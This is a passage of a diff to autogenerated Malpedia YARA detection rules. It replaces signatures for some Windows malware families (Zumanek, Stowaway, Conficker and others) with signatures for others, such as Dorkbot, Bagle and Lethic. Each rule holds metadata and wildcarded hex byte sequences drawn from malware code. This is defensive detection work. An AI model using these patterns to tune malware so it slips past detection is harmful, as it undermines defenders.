= { 51 8d4dd4 e8???????? ff734c e8???????? 59 3bc7 } - $sequence_6 = { 8b4e08 8902 894a04 895004 8911 8b4508 } - $sequence_7 = { 8d7b04 899d5cfdffff 33c0 c703???????? 83671000 c7471407000000 668907 } - $sequence_8 = { 8d8d14ffffff e8???????? 68???????? 8d8d14ffffff c645fc60 e8???????? 50 } - $sequence_9 = { e9???????? c3 8d4db0 e9???????? 8d4dbc e9???????? 8d8df8fbffff } + $sequence_0 = { e8???????? 8b4d10 51 68???????? 8bce e8???????? 8d4de4 } + $sequence_1 = { e9???????? 8d8d38fdffff e9???????? 8d8d94feffff e9???????? 8d8dacfdffff e9???????? } + $sequence_2 = { ffd0 e9???????? 389d4afbffff 0f842f070000 8d8d10fbffff 889d4bfbffff e8???????? } + $sequence_3 = { eb05 1bc9 83d9ff 85c9 0f84643d0000 b9???????? 8d9b00000000 } + $sequence_4 = { eb2d 8b5520 8b451c 8d8e00090000 51 8b4d18 52 } + $sequence_5 = { e8???????? 8ac3 e9???????? 68???????? e9???????? 8b16 8b4214 } + $sequence_6 = { f3ab 8b5510 52 e8???????? 83c404 5f 5e } + $sequence_7 = { e9???????? 8d8df4feffff e9???????? 8d8d08ffffff e9???????? 8b542408 8d420c } + $sequence_8 = { e8???????? 8d8d40fdffff 51 bb05000000 56 8d4d94 885dfc } + $sequence_9 = { ff15???????? 399d60fcffff 8b854cfcffff 7306 8d854cfcffff 50 e8???????? } condition: - 7 of them and filesize < 1400832 + 7 of them and filesize < 4177920 } -rule MALPEDIA_Win_Zumanek_Auto : FILE +rule MALPEDIA_Win_Dorkbot_Ngrbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "87aee693-fd24-5045-ad68-bbf967fca577" + id = "95e01109-549b-5610-b7bb-c1343e7b4ee5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zumanek_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dorkbot_ngrbot_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "692948458546aa7f1172f720f7a047815fbd39df276c694923c84a71f1135e40" + logic_hash = "ea5d98b6b45b739ecbab0036be4d19cc99f655fde99b26bfe861c5599dba1365" score = 75 quality = 75 tags = "FILE" @@ -119138,32 +119178,32 @@ rule MALPEDIA_Win_Zumanek_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { fc 81fe382e9330 97 e412 3dd16312c9 103f 0800 } - $sequence_1 = { 8802 98 811212242434 48 3c91 4a } - $sequence_2 = { 894612 4d 2454 48 5b 91 } - $sequence_3 = { 71ef 1a6f35 e30b 5d fc 77f2 f1 } - $sequence_4 = { 1dba45e22f 91 7c8b e459 0920 122424 } - $sequence_5 = { 386b95 4c 53 196a17 } - $sequence_6 = { 4a e8???????? 86b71986f742 06 58 4c 8812 } - $sequence_7 = { c101f6 53 32b879629b65 76a2 43 fc } - $sequence_8 = { d9c3 ab 5f c50f 9d 54 f233591b } - $sequence_9 = { 5a c59cd53a93a658 98 9f f5 6b80e7fa856bb2 55 } + $sequence_0 = { 85c0 740c 8b8cb51cffffff 51 ffd0 eb0d 8b94b51cffffff } + $sequence_1 = { 85f6 0f84a8020000 6a00 6800040000 8d9578fbffff } + $sequence_2 = { ff15???????? 85c0 0f8c9f000000 8b4508 85c0 0f8494000000 8b4dfc } + $sequence_3 = { e8???????? 8bf0 83c408 85f6 0f84dc000000 6a06 68???????? } + $sequence_4 = { 51 7416 68???????? 52 50 e8???????? 83c410 } + $sequence_5 = { 8b4d0c 51 50 6a00 ff15???????? 50 ff15???????? } + $sequence_6 = { 8d85f1feffff 6a00 50 c685f0feffff00 e8???????? 8b4d14 83c40c } + $sequence_7 = { 8d8500f8ffff 50 ff15???????? 8b550c 8b4508 8d8d00f8ffff 51 } + $sequence_8 = { 8d55f0 52 68???????? e8???????? 83c40c 85c0 7530 } + $sequence_9 = { b8???????? 5b 8be5 5d c3 ff15???????? 5e } condition: - 7 of them and filesize < 58867712 + 7 of them and filesize < 638976 } -rule MALPEDIA_Win_Stowaway_Auto : FILE +rule MALPEDIA_Win_Bagle_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fff7cfff-aed4-5ea2-8664-de07b4f99127" + id = "fe60543c-8794-58a6-ba42-981191e2cc82" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stowaway_auto.yar#L1-L199" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bagle_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "84a539e785b0d71993d13deb34a2d8f732a0d59ec389deb587ebb307e97415d7" + logic_hash = "eb49ea6ae472fea8285550f6b2bf1be9757590ced359fd50f12f529f0e70029d" score = 75 quality = 75 tags = "FILE" @@ -119177,42 +119217,32 @@ rule MALPEDIA_Win_Stowaway_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 76e8 77e8 78e8 79e8 } - $sequence_1 = { 78e8 79e8 7ae8 ce f67be8 } - $sequence_2 = { ce f67be8 7ce8 7de8 } - $sequence_3 = { a3???????? 4e fb b501 } - $sequence_4 = { 751e 53 2661 6d b040 3d1db5094f } - $sequence_5 = { 2a37 e394 5e b5a9 0e 2cc6 ec } - $sequence_6 = { 5b 6b5e045f aa 43 9a7f6eb1f75c72 7f30 fa } - $sequence_7 = { 50 91 3e06 48 52 2692 4e } - $sequence_8 = { 1b7f1c b567 8110932238ba 81f82f2437b0 645b f257 326640 } - $sequence_9 = { d4ff 57 ed 7a80 51 80534080 } - $sequence_10 = { 99 0039 801002 3900 99 } - $sequence_11 = { e774 5b 004f49 5c } - $sequence_12 = { 8d843000a03b00 01f3 50 83c708 } - $sequence_13 = { 777c 7781 7782 7783 7786 7787 } - $sequence_14 = { 3c77 0c35 f20b18 40 } - $sequence_15 = { f3676d 51 99 9f 4b 8099543c7bbf7a } - $sequence_16 = { a5 ed 91 34cf } - $sequence_17 = { 60 41 69e038173794 6c 5c d10f } - $sequence_18 = { d7 80cf73 c9 f0f3f9 } - $sequence_19 = { a4 49 07 04bc 3c2f } + $sequence_0 = { b03d f3aa 5b 5f } + $sequence_1 = { e340 ac c1e010 83f901 740b } + $sequence_2 = { 56 57 53 8b7508 8b7d0c 8b4d10 33db } + $sequence_3 = { 6a00 6a00 6a04 50 e8???????? 0bc0 } + $sequence_4 = { 042b aa c3 55 8bec } + $sequence_5 = { 68???????? e8???????? 68???????? 68???????? e8???????? 6804010000 } + $sequence_6 = { 2bf9 b03d f3aa 5b } + $sequence_7 = { 2bf9 b03d f3aa 5b 5f 5e } + $sequence_8 = { 0bc0 7426 6880000000 68???????? } + $sequence_9 = { 668945f2 c745f400000000 6a06 6a01 6a02 e8???????? 8bd8 } condition: - 7 of them and filesize < 8003584 + 7 of them and filesize < 245760 } -rule MALPEDIA_Win_Cryptic_Convo_Auto : FILE +rule MALPEDIA_Win_Ssload_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "66ff4a00-02d0-5dfa-b2f7-7b3271a8876d" + id = "30dda8cc-ed50-5e35-9e3b-577f2e01ce05" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptic_convo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptic_convo_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ssload" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ssload_auto.yar#L1-L187" license_url = "N/A" - logic_hash = "e28456acfbd5652f4b94b426affd2f208681769134e3003d7681a2d2c78d8e5f" + logic_hash = "ac05084ef9800673d1ca7ea15965552cfd923f1e160cfabe8236802f68f627b1" score = 75 quality = 75 tags = "FILE" @@ -119226,32 +119256,41 @@ rule MALPEDIA_Win_Cryptic_Convo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 57 8bf1 e8???????? ff7674 8b3d???????? 6a01 } - $sequence_1 = { 2b459c ff7674 2bc7 40 99 2bc2 } - $sequence_2 = { c3 6800090000 6a00 e8???????? } - $sequence_3 = { 034d08 bb00300000 663bd3 7505 } - $sequence_4 = { 8b450c 53 8985ecfcffff 8b4514 56 8985f0fcffff 57 } - $sequence_5 = { 6a5c 85f6 7403 56 } - $sequence_6 = { 7905 4a 83cafe 42 7510 ff85b4feffff 8b95b4feffff } - $sequence_7 = { 8b85ecfcffff 8b95f4fcffff 53 ff7510 89540134 50 } - $sequence_8 = { 50 e8???????? 83c40c 33c0 8a88b0664000 888c05dc010000 } - $sequence_9 = { 3b85d4fcffff 750e 8b4610 03461c 8985a8fdffff eb0b } + $sequence_0 = { 894dd4 51 8945e0 ff10 83c404 } + $sequence_1 = { f7e1 c1ea03 8d0492 8d0442 } + $sequence_2 = { 50 e8???????? 83c40c 01de 89770c e9???????? 8b770c } + $sequence_3 = { 85f6 b8ffffffff 0f48f8 81ff01020000 } + $sequence_4 = { c745d002000000 648b0d00000000 894de8 64a300000000 } + $sequence_5 = { 0fb6f0 83fe0c 7e0c 83fe1f 7e14 83fe20 7418 } + $sequence_6 = { 89d5 57 53 52 e8???????? 83c40c } + $sequence_7 = { 56 83ec2c 8b5c2444 8b6c2440 } + $sequence_8 = { 0f57c0 0f1144240c 894c2408 89442404 } + $sequence_9 = { 83ec0c 8db53cffffff 8baeb0000000 8b4608 } + $sequence_10 = { 83c40c 037de0 8b55d8 39d7 } + $sequence_11 = { 0345e8 2b45d4 8945dc e9???????? } + $sequence_12 = { 034828 8b55fc 894a2c eb0a } + $sequence_13 = { 034228 8945c4 6a00 6a01 6800000010 } + $sequence_14 = { 034a10 894de0 8b45e0 3b45dc 7606 8b4de0 894ddc } + $sequence_15 = { ffd1 83c408 ebbc 8b55fc 8b4208 50 e8???????? } + $sequence_16 = { 034214 50 8b4df8 51 e8???????? } + $sequence_17 = { 03420c 50 ff15???????? 8945f8 837df800 } + $sequence_18 = { 034110 50 8b550c 52 8b4de8 e8???????? } condition: - 7 of them and filesize < 97280 + 7 of them and filesize < 4950016 } -rule MALPEDIA_Win_Oni_Auto : FILE +rule MALPEDIA_Win_Pterois_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "de723d64-30bf-5667-a979-f8186ef8b8cb" + id = "3320c746-a1fd-5d65-8bd9-a08cf7741ea4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oni" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oni_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pterois" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pterois_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "e7a58256b76e741c7c3e2e9d7af61ce1190ab07a3a92bb457114a7c15de62838" + logic_hash = "40d01f41f8c6ab0bf9862ea3d2722b533235ff4ec8c712399aa15cc1e9f9196b" score = 75 quality = 75 tags = "FILE" @@ -119265,32 +119304,32 @@ rule MALPEDIA_Win_Oni_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d8c24f0000000 c78424040100000f000000 c784240001000000000000 c68424f000000000 } - $sequence_1 = { 83f904 0f828d000000 83f923 0f8789000000 8bc8 } - $sequence_2 = { 8b4804 8d41f8 89840d14ffffff 8d4580 50 c74580b83a4300 e8???????? } - $sequence_3 = { 7603 6a26 58 0fb60c8536bf4200 0fb6348537bf4200 8bf9 8985b4f8ffff } - $sequence_4 = { 7420 6bc618 57 8db86c854300 57 ff15???????? } - $sequence_5 = { 8bc1 83e13f c1f806 6bc930 8b048590884300 f644082801 7406 } - $sequence_6 = { 83e03f c1ff06 6bd830 8b04bd90884300 f644032801 7444 837c0318ff } - $sequence_7 = { 8b550c 3b5df0 0f82cefeffff eb20 8b0c8d90884300 } - $sequence_8 = { 8d85f8fdffff 6a00 50 e8???????? 83c40c 8d85f8feffff } - $sequence_9 = { eb02 33f6 53 8d4dd0 e8???????? 807dd400 750a } + $sequence_0 = { 0f82ff620000 4981f800001800 730d 4981f800200000 0f83c9620000 c5fe6f02 c4a17e6f6c02e0 } + $sequence_1 = { 33c9 4c8d057c180100 488d154d6a0100 e8???????? 4885c0 7415 49ba7030525e472705d3 } + $sequence_2 = { c744243000000000 8b442430 89442424 488b4c2440 4831e1 e8???????? 8b442424 } + $sequence_3 = { 75dd 488d055b500100 483bd8 74d1 488bcb e8???????? ebc7 } + $sequence_4 = { c7401808000000 488b4c2468 488d442470 4829c1 488b442458 48034810 } + $sequence_5 = { 4829c4 8b842498100000 8b842490100000 488b05???????? 4831e0 4889842460100000 4c894c2458 } + $sequence_6 = { 48890d???????? e8???????? 4c8d0d91ce0100 4c8bc0 b201 b9fdffffff e8???????? } + $sequence_7 = { e8???????? 488b05???????? 4889442430 488d8c24600c0000 e8???????? 4889c1 } + $sequence_8 = { e8???????? 83f800 0f851c000000 488b05???????? 488b4c2440 } + $sequence_9 = { e8???????? 4889442420 48837c242000 0f840c000000 488b442420 c7401802000000 488b442420 } condition: - 7 of them and filesize < 499712 + 7 of them and filesize < 528384 } -rule MALPEDIA_Win_Beast_Auto : FILE +rule MALPEDIA_Win_Newpass_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8074f5ee-0705-556f-a60f-20fb83a7b6d6" + id = "d6b059ee-c4d5-5cd3-bec7-199d16e8018e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beast" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beast_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newpass" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newpass_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "2393b8a862cb3a2be574fd4cc7aaf3b89fb385083cd12b93e8f9ad9b9f239f88" + logic_hash = "68e2df4904722bca2b5d5336a84032d81343ac67dcb544535e3fd89fb775b501" score = 75 quality = 75 tags = "FILE" @@ -119303,33 +119342,33 @@ rule MALPEDIA_Win_Beast_Auto : FILE malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" - strings: - $sequence_0 = { 56 57 33ff 6a03 47 59 } - $sequence_1 = { 330c8550b44f00 334d1c 83c520 894c242c 83ef01 0f85f0fdffff 8b442410 } - $sequence_2 = { c6857fffffff41 c6458033 c6458141 c6458224 c6458341 c6458420 c6458541 } - $sequence_3 = { eb08 8b4dc4 e8???????? 8bc6 5e c9 c3 } - $sequence_4 = { c6855cfcffff4d 889d5dfcffff c6855efcffff4c 889d5ffcffff c68560fcffff5b 889d61fcffff 889d62fcffff } - $sequence_5 = { 33b1393e5000 8b4c2448 0fb6c9 c1e104 33b9303e5000 33b1343e5000 8b4c2428 } - $sequence_6 = { 6a3f 5a 6a06 898c244a010000 8db424b8000000 898c2452010000 8dbc2460010000 } - $sequence_7 = { 8d143e 03c2 8945f0 8b45cc c1e017 0bc8 8b45cc } - $sequence_8 = { 8b45c8 03c3 33d0 c1c210 8d0c16 8b75f4 33d9 } - $sequence_9 = { c6459025 8bd3 c6459156 c6459223 c6459356 c6459435 } + strings: + $sequence_0 = { 4c89642438 4c89742428 48ffc0 418bf0 4c8bf2 } + $sequence_1 = { 4c8bc3 4c8d4820 4889442420 e8???????? 488b442440 4883c028 4883c430 } + $sequence_2 = { cc 4885d2 7509 33c9 ff15???????? cc 4533c9 } + $sequence_3 = { 488b4c2430 4885c9 7417 488b11 ff5210 4885c0 740c } + $sequence_4 = { 66895d00 6685c0 7505 4c8bc3 eb0f 4c8bc7 90 } + $sequence_5 = { e8???????? 488bf8 eb03 488bfe 488d55d8 e8???????? 488bd8 } + $sequence_6 = { b850800000 e8???????? 482be0 48c7442428feffffff 48899c2470800000 4889b42478800000 488b05???????? } + $sequence_7 = { 84c0 0f84c6000000 488b03 48634804 4803cb 488d9424c8000000 e8???????? } + $sequence_8 = { 4d8d0c18 482bf9 48c1ff05 488bcf 48d1e9 498bc2 482bc1 } + $sequence_9 = { 57 4154 4155 4156 4157 488dac24d8deffff b828220000 } condition: - 7 of them and filesize < 2411520 + 7 of them and filesize < 2654208 } -rule MALPEDIA_Win_Usbferry_Auto : FILE +rule MALPEDIA_Win_Narilam_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "099a1369-e001-5f55-b4f6-6858d99ec27a" + id = "54e32c98-3d91-5f09-b5aa-2a231fe53ae4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.usbferry_auto.yar#L1-L163" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.narilam_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "a271aa110aa02149e584931e66f43eb3286c2529fb4319139aeea9b3438deb58" + logic_hash = "d58f6ba2ee444c0612b61b483f3c9e07a728833887fe26863735ef4c04a1aac5" score = 75 quality = 75 tags = "FILE" @@ -119343,40 +119382,34 @@ rule MALPEDIA_Win_Usbferry_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3c4c 750c 0fbec0 42 89442428 } - $sequence_1 = { 83c40c c785b0f7ffff44000000 c785dcf7ffff01000000 33d2 } - $sequence_2 = { ff5018 8bf0 83feff 7504 } - $sequence_3 = { 33c5 8945fc c645f463 c645f56d } - $sequence_4 = { 8b15???????? 8bcb ff7210 898214010000 } - $sequence_5 = { 88441de0 8a0439 88441de1 83c302 } - $sequence_6 = { 83c40c 8d85c4e9ffff 50 a1???????? ff90a4000000 } - $sequence_7 = { e8???????? 8b459c 807b0c67 750c 85c0 } - $sequence_8 = { 8981c8000000 8b09 e8???????? 8b0d???????? } - $sequence_9 = { 8b45cc e9???????? 8b55e0 52 ff15???????? 837d1401 0f8583000000 } - $sequence_10 = { 50 e8???????? 83c40c 8b4d08 51 8d55f4 } - $sequence_11 = { 7547 6a04 8d4d1c 51 8b5514 52 } - $sequence_12 = { 50 8d8db0f7ffff 51 6a00 6a00 6800000008 6a00 } - $sequence_13 = { c645b45c c645b54d c645b669 c645b763 } - $sequence_14 = { 83c009 eb4d 84db 0f94c0 83c00b eb43 } - $sequence_15 = { c3 3b0d???????? f27502 f2c3 f2e960030000 55 } + $sequence_0 = { e8???????? 66c785b0feffff2c03 ba???????? 8d85e0feffff e8???????? ff85bcfeffff 8d95e0feffff } + $sequence_1 = { e8???????? 84c0 7434 8b4370 50 8d45d0 50 } + $sequence_2 = { e8???????? 50 ff45d8 ba???????? 8d45f4 e8???????? ff45d8 } + $sequence_3 = { ff8d4cfeffff 8d8548ffffff ba02000000 e8???????? 66c78540feffff0c02 ba???????? 8d8544ffffff } + $sequence_4 = { 8d850cffffff ba02000000 e8???????? 66c785b0feffffb402 ba???????? 8d8508ffffff e8???????? } + $sequence_5 = { 6683f822 7407 8bc3 e8???????? 5b c3 80b8ec01000001 } + $sequence_6 = { e8???????? ff4df8 ff4df8 6a00 68???????? e8???????? } + $sequence_7 = { e8???????? 8b500c 8d45f8 e8???????? 8b45f8 50 8b8378010000 } + $sequence_8 = { ff8de8feffff 8d45cc ba02000000 e8???????? 66c785dcfeffff7400 ba???????? 8d45c8 } + $sequence_9 = { 7506 803f00 7401 47 8b4508 8978fc 5f } condition: - 7 of them and filesize < 638976 + 7 of them and filesize < 3325952 } -rule MALPEDIA_Win_Doppeldridex_Auto : FILE +rule MALPEDIA_Win_Dadjoke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "daa7948f-1af7-5dc7-b72c-52142db6eff9" + id = "ea7282f2-8a4c-5601-bbd1-b76f58e52bc1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doppeldridex_auto.yar#L1-L180" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadjoke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dadjoke_auto.yar#L1-L228" license_url = "N/A" - logic_hash = "c03ed87815d6a97d4f986f8009113427e6594093f0809ec3f0f49a2c2120349d" + logic_hash = "9c73a5622c3f32fd5cf8900e0843a3bbc9bcae66e0aa7ecc5e1cf55e72cc18b5" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -119388,38 +119421,45 @@ rule MALPEDIA_Win_Doppeldridex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf0 33c0 48 8bfe 8bda 2bf8 2bd8 } - $sequence_1 = { e8???????? e9???????? 55 83ec68 33d2 42 } - $sequence_2 = { 8b74243c 6a30 8b2f 56 8d4c2408 c6450000 e8???????? } - $sequence_3 = { 6880000000 ffb4249c010000 ffb424b4010000 ffb42498000000 56 8d4c2428 8d91e0000000 } - $sequence_4 = { 33c0 48 2bc8 2bd0 0bca 0f84b1000000 8d9424a4010000 } - $sequence_5 = { 8b02 40 8902 83f80a 0f85fefdffff e9???????? c784249000000000000000 } - $sequence_6 = { ff742410 50 6a00 52 ff742428 } - $sequence_7 = { 2bf8 2bd8 0bfb 0f8443030000 8d942490000000 8b02 } - $sequence_8 = { eb2b 31c0 8b4d88 83c104 } - $sequence_9 = { 0f92c4 8a6db3 20cd 20e5 f6c501 8955b4 7518 } - $sequence_10 = { 8b458c 8944240c 8b55a4 ffd2 83ec10 } - $sequence_11 = { 894de4 e8???????? 83f800 8945e0 74c2 } - $sequence_12 = { e8???????? 31c0 8945e8 eb51 31c0 } - $sequence_13 = { 01de 8b06 8bb550ffffff 8b5e08 8b4da8 01f9 890c24 } - $sequence_14 = { 6683ff00 89d3 8945b8 8955d0 8975d4 895ddc } - $sequence_15 = { 8b4df0 39c8 8945dc 72d2 ebb6 55 89e5 } + $sequence_0 = { 56 57 6800081000 6a00 } + $sequence_1 = { 52 8b4508 0528020000 50 8b0d???????? } + $sequence_2 = { 83ec40 56 57 8d45e0 50 e8???????? } + $sequence_3 = { 8b45e8 50 e8???????? 83c404 898578ffffff } + $sequence_4 = { e8???????? 83c408 8945f8 8b4d08 8b5110 52 8b45f8 } + $sequence_5 = { 8845f4 8345d801 807df400 75ee 8b4dd8 } + $sequence_6 = { 8b4df4 8dbc0d2cffffff b910000000 8d75ac f3a5 8b55f4 83c240 } + $sequence_7 = { 83c414 8b4df4 64890d00000000 8be5 5d c20800 } + $sequence_8 = { 33c9 84c0 0f94c1 8bc1 c3 a1???????? } + $sequence_9 = { 5e c3 8bff 55 8bec 83ec10 33c0 } + $sequence_10 = { e8???????? c3 6a04 e8???????? 59 c3 6a0c } + $sequence_11 = { ff15???????? 85c0 7417 b920000000 } + $sequence_12 = { 5d c3 6a04 8d458c c7458c80330000 50 } + $sequence_13 = { 84c0 75ef b82f000000 8d55f4 } + $sequence_14 = { 6a07 6a00 ff15???????? 85c0 0f881f010000 } + $sequence_15 = { 83fe04 7ce7 8d45f4 c645f800 } + $sequence_16 = { 7508 807e015a 7502 ffd6 6800400000 } + $sequence_17 = { 8b1d???????? 51 e8???????? 8bf0 83c404 85f6 } + $sequence_18 = { 0f85b5000000 50 ff15???????? 8d85e4faffff 50 } + $sequence_19 = { d9c9 d9f1 833d????????00 0f85cc140000 } + $sequence_20 = { 6804010000 85c0 57 6a00 } + $sequence_21 = { 55 8bec 8b4d0c 85c9 7454 8b5508 8b4514 } + $sequence_22 = { 83e908 8d7608 660fd60f 8d7f08 8b048db47c7300 ffe0 } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 344064 } -rule MALPEDIA_Win_Ninerat_Auto : FILE +rule MALPEDIA_Win_Scoring_Math_Tea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b2759270-ef98-5410-b5fe-ea53f4bf72fd" + id = "6a5f2479-dd77-5460-b6ab-7a1fa699026a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ninerat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ninerat_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scoring_math_tea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scoring_math_tea_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "584fb25ea88956dd53544245e507dba7752ef5bd9498b76883c7fb9cf338d1d3" + logic_hash = "a12d9d501b7d3baa59a060b6fa56cd1bfb57e15b553bc88c44e1282cce7ff1d8" score = 75 quality = 75 tags = "FILE" @@ -119433,38 +119473,32 @@ rule MALPEDIA_Win_Ninerat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c89ad58feffff 48894d10 48895518 488b4518 48c70000000000 48c7400800000000 48c78590feffff00000000 } - $sequence_1 = { 4c89ad60ffffff 4c89b568ffffff 4c89bd70ffffff 48894d10 } - $sequence_2 = { 4c89ad58ffffff 4c89b560ffffff 4c89bd68ffffff 48894d10 4889d3 4d89c4 498bd4 } - $sequence_3 = { 4c89ad50ffffff 4c89b558ffffff 4c89bd60ffffff 48894d10 4889d6 c68570ffffff00 488d4580 } - $sequence_4 = { 4c89ad68fcffff 4c89b570fcffff 4c89bd78fcffff 48894d10 } - $sequence_5 = { 4c89ad50ffffff 4c89b558ffffff 4c89bd60ffffff 48895518 4989cc 48c70200000000 4889d1 } - $sequence_6 = { 4c89ad60feffff 4c89b568feffff 48894d10 488d4d10 e8???????? 48898570feffff } - $sequence_7 = { 4c89ad58fdffff 4c89b560fdffff 4c89bd68fdffff 48895518 4c894520 4c894d28 } - $sequence_8 = { eb0f 488bd3 488d0d48900100 e8???????? } - $sequence_9 = { 4889842430020000 4c89642450 488b442450 4889842438020000 } - $sequence_10 = { 4889842480000000 488d1529890100 488d8c2480000000 e8???????? 90 e8???????? 90 } - $sequence_11 = { 488d842430030000 48ffc7 6644393478 75f6 } - $sequence_12 = { 4883ec38 834c2448ff 488d05a8580100 4d85c9 } - $sequence_13 = { 4a8b04e8 42385cf839 0f84c2000000 488d058dde0000 4a8b0ce8 } - $sequence_14 = { 418bd4 e8???????? f20f1000 8b5808 e9???????? 488d05cbdd0000 } - $sequence_15 = { 83fa04 7c39 458bd1 49c1ea02 418bc2 f7d8 } + $sequence_0 = { 448bfe 448be6 89742450 4889b42420010000 0f57c0 f30f7f842430010000 4533c0 } + $sequence_1 = { 66894dea 488d4de0 0fb700 668945ec 33c0 } + $sequence_2 = { 4889458c 33c0 894594 66894598 48b85700650064000000 4889459a 33c0 } + $sequence_3 = { 83ef01 7986 4885db 743d 488b45af 482bc3 48c1f802 } + $sequence_4 = { 83e00a eb09 33c0 eb05 b80a000000 488b5c2430 } + $sequence_5 = { e8???????? 90 488d4c2420 e8???????? 4889742420 4889742430 4889742438 } + $sequence_6 = { 49ffc6 4183c708 443b3a 72d7 8b02 } + $sequence_7 = { 410fb702 6643390413 7515 4983c202 4883ef01 75eb 4c8bc1 } + $sequence_8 = { e8???????? 458d41ff 41bfffff0000 8d7a02 4963c8 664139b44a18100000 7511 } + $sequence_9 = { 49ffc1 413801 7513 4883c108 49ffc1 8a01 413801 } condition: - 7 of them and filesize < 7709696 + 7 of them and filesize < 881664 } -rule MALPEDIA_Win_Conficker_Auto : FILE +rule MALPEDIA_Win_Lethic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2292bd3e-30fc-5fd2-b5f2-54da12682502" + id = "3babd57d-d49b-5fd8-b851-cfcf000e34be" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.conficker_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic" + source_url = 